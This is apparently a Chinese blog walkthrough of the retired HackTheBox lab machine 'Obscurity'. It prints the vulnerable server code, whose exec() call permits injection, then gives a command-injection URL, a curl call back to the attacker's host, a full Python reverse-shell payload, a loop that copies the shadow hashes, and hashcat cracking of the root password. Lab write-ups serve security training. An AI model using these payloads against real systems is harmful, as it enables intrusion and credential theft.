zoukankan      html  css  js  c++  java
  • HTB-靶机-Obscurity

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.168

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    信息枚举收集
    https://github.com/codingo/Reconnoitre 跟autorecon类似
    autorecon 10.10.10.168 -o ./Obscurity-autorecon
    
    sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.168
    或者
    
    sudo masscan -p1-65535,U:1-65535 10.10.10.168 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    sudo nmap -Pn -sV -sC -p$ports 10.10.10.168

    就开放了两个端口,通过浏览器访问8080端口

    根据上面的所有信息提示,得知目标靶机上有一个文件SuperSecureServer.py 所以尝试暴力猜测目录

    目录爆破
    ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -mc 200

    得到了目录develop,直接访问发现可以下载,直接使用wget下载下来

    得到目录develop,直接下载目标靶机上的python代码
    wget http://10.10.10.168:8080/develop/SuperSecureServer.py

    读取代码内容通过测试确认可以命令注入

    在138行下面添加
    print(info.format(path))
    在最后一行添加监听端口
    s = Server ("127.0.0.1", 8080)
    s.listen()

    最终代码SuperSecureServer.py

    import socket
    import threading
    from datetime import datetime
    import sys
    import os
    import mimetypes
    import urllib.parse
    import subprocess
    
    respTemplate = """HTTP/1.1 {statusNum} {statusCode}
    Date: {dateSent}
    Server: {server}
    Last-Modified: {modified}
    Content-Length: {length}
    Content-Type: {contentType}
    Connection: {connectionType}
    
    {body}
    """
    DOC_ROOT = "DocRoot"
    
    CODES = {"200": "OK",
            "304": "NOT MODIFIED",
            "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
            "500": "INTERNAL SERVER ERROR"}
    
    MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
            "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
            "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
    
    
    class Response:
        def __init__(self, **kwargs):
            self.__dict__.update(kwargs)
            now = datetime.now()
            self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
        def stringResponse(self):
            return respTemplate.format(**self.__dict__)
    
    class Request:
        def __init__(self, request):
            self.good = True
            try:
                request = self.parseRequest(request)
                self.method = request["method"]
                self.doc = request["doc"]
                self.vers = request["vers"]
                self.header = request["header"]
                self.body = request["body"]
            except:
                self.good = False
    
        def parseRequest(self, request):
            req = request.strip("
    ").split("
    ")
            method,doc,vers = req[0].split(" ")
            header = req[1:-3]
            body = req[-1]
            headerDict = {}
            for param in header:
                pos = param.find(": ")
                key, val = param[:pos], param[pos+2:]
                headerDict.update({key: val})
            return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
    
    
    class Server:
        def __init__(self, host, port):
            self.host = host
            self.port = port
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.sock.bind((self.host, self.port))
    
        def listen(self):
            self.sock.listen(5)
            while True:
                client, address = self.sock.accept()
                client.settimeout(60)
                threading.Thread(target = self.listenToClient,args = (client,address)).start()
    
        def listenToClient(self, client, address):
            size = 1024
            while True:
                try:
                    data = client.recv(size)
                    if data:
                        # Set the response to echo back the recieved data
                        req = Request(data.decode())
                        self.handleRequest(req, client, address)
                        client.shutdown()
                        client.close()
                    else:
                        raise error('Client disconnected')
                except:
                    client.close()
                    return False
    
        def handleRequest(self, request, conn, address):
            if request.good:
    #            try:
                    # print(str(request.method) + " " + str(request.doc), end=' ')
                    # print("from {0}".format(address[0]))
    #            except Exception as e:
    #                print(e)
                document = self.serveDoc(request.doc, DOC_ROOT)
                statusNum=document["status"]
            else:
                document = self.serveDoc("/errors/400.html", DOC_ROOT)
                statusNum="400"
            body = document["body"]
    
            statusCode=CODES[statusNum]
            dateSent = ""
            server = "BadHTTPServer"
            modified = ""
            length = len(body)
            contentType = document["mime"] # Try and identify MIME type from string
            connectionType = "Closed"
    
    
            resp = Response(
            statusNum=statusNum, statusCode=statusCode,
            dateSent = dateSent, server = server,
            modified = modified, length = length,
            contentType = contentType, connectionType = connectionType,
            body = body
            )
    
            data = resp.stringResponse()
            if not data:
                return -1
            conn.send(data.encode())
            return 0
    
        def serveDoc(self, path, docRoot):
            path = urllib.parse.unquote(path)
            try:
                info = "output = 'Document: {}'" # Keep the output for later debug
                print(info.format(path))
                exec(info.format(path)) # This is how you do string formatting, right?
                cwd = os.path.dirname(os.path.realpath(__file__))
                docRoot = os.path.join(cwd, docRoot)
                if path == "/":
                    path = "/index.html"
                requested = os.path.join(docRoot, path[1:])
                if os.path.isfile(requested):
                    mime = mimetypes.guess_type(requested)
                    mime = (mime if mime[0] != None else "text/html")
                    mime = MIMES[requested.split(".")[-1]]
                    try:
                        with open(requested, "r") as f:
                            data = f.read()
                    except:
                        with open(requested, "rb") as f:
                            data = f.read()
                    status = "200"
                else:
                    errorPage = os.path.join(docRoot, "errors", "404.html")
                    mime = "text/html"
                    with open(errorPage, "r") as f:
                        data = f.read().format(path)
                    status = "404"
            except Exception as e:
                print(e)
                errorPage = os.path.join(docRoot, "errors", "500.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read()
                status = "500"
            return {"body": data, "mime": mime, "status": status}
    
    s = Server ("127.0.0.1", 8080)
    s.listen()

    下面是测试命令注入和反弹shell代码

    本地kali开启8080端口服务
    python3 SuperSecureServer.py
    
    使用下面命令触发测试命令执行漏洞
    curl "http://127.0.0.1:8080/';os.system('id');'"
    
    拿低权限
    
    本地kali启动80端口服务,查看过程
    python3 -m http.server 80
    
    目标靶机上执行
    curl "http://10.10.10.168:8080/';os.system('curl%20http://10.10.14.16/$(hostname)');'"
    
    本地kali监听8833端口
    nc -lvnp 8833
    
    直接浏览器访问下面地址,触发反弹shell
    http://10.10.10.168:8080/';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    升级为tty-shell
    SHELL=/bin/bash script -q /dev/null

    靶机信息搜集
    https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

    通过在目标靶机上信息搜集发现家目录下有个文件SuperSecureCrypt.py 测试了一下可以使用下面方式获取靶机的另一个用户的密码

    python3 SuperSecureCrypt.py -i out.txt -k "Encrypting this file with your key should result in out.txt, make sure your key is correct!" -d -o /dev/shm/key.txt
    
    得到key.txt内容如下
    alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich
    上面是重复的key循环确认key:alexandrovich
    
    获取密码
    python3 SuperSecureCrypt.py -i passwordreminder.txt -d -k alexandrovich -o /dev/shm/.cntf
    
    得到密码
    SecThruObsFTW

    执行sudo -l

    发现可以执行BetterSSH.py文件不需要密码

    sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

    分析了此文件代码,得知是一个需要比对/etc/shadow文件的加密hash值进行认证登录的功能,得知会临时在tmp目录下生成复制的hash,所以咱写个死循环复制tmp目录下的文件到另一个地方,然后读取shadow的内容,使用hashcat进行爆破

    实时复制文件
    while true; do cp -R /tmp/SSH/* /dev/shm/ 2>/dev/null; done

    上面准备好再次执行此代码然后输入root用户,随便输入密码,结束完成之后,得到密码hash

    得到root用户密码的shadow内容,使用hashcat进行爆破
    $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1

    使用hashcat进行密码爆破,爆破上面的hash类型可参考:

    https://hashcat.net/wiki/doku.php?id=example_hashes
    hashcat -m 1800 -a 0 -o root.cracked obscshadow /usr/share/wordlists/rockyou.txt --force

    破解结果:

    $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:mercedes

    成功使用su切换至root用户,此靶机刚出来的时候由于权限配置问题,还有好几种提权方法,具体可参考下面大佬的博客:

    https://0xdf.gitlab.io/2020/05/09/htb-obscurity.html

    注意:现在官方已经做了权限优化,所以有的方法不一定适用

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    符号解析
    编译器与链接器的功能
    hook的本质就是在本原可执行文件中加东西
    Mac-O文件加载的全过程(一)
    系统在执行可执行文件几个过程
    动态库连接器–动态库链接信息(Mach-O文件格式和程序从加载到执行过程)
    load 调用的顺序
    iPhone Mach-O文件格式与代码签名
    Redis正确使用的十个技巧
    redis slowlog
  • 原文地址:https://www.cnblogs.com/autopwn/p/14862723.html
Copyright © 2011-2022 走看看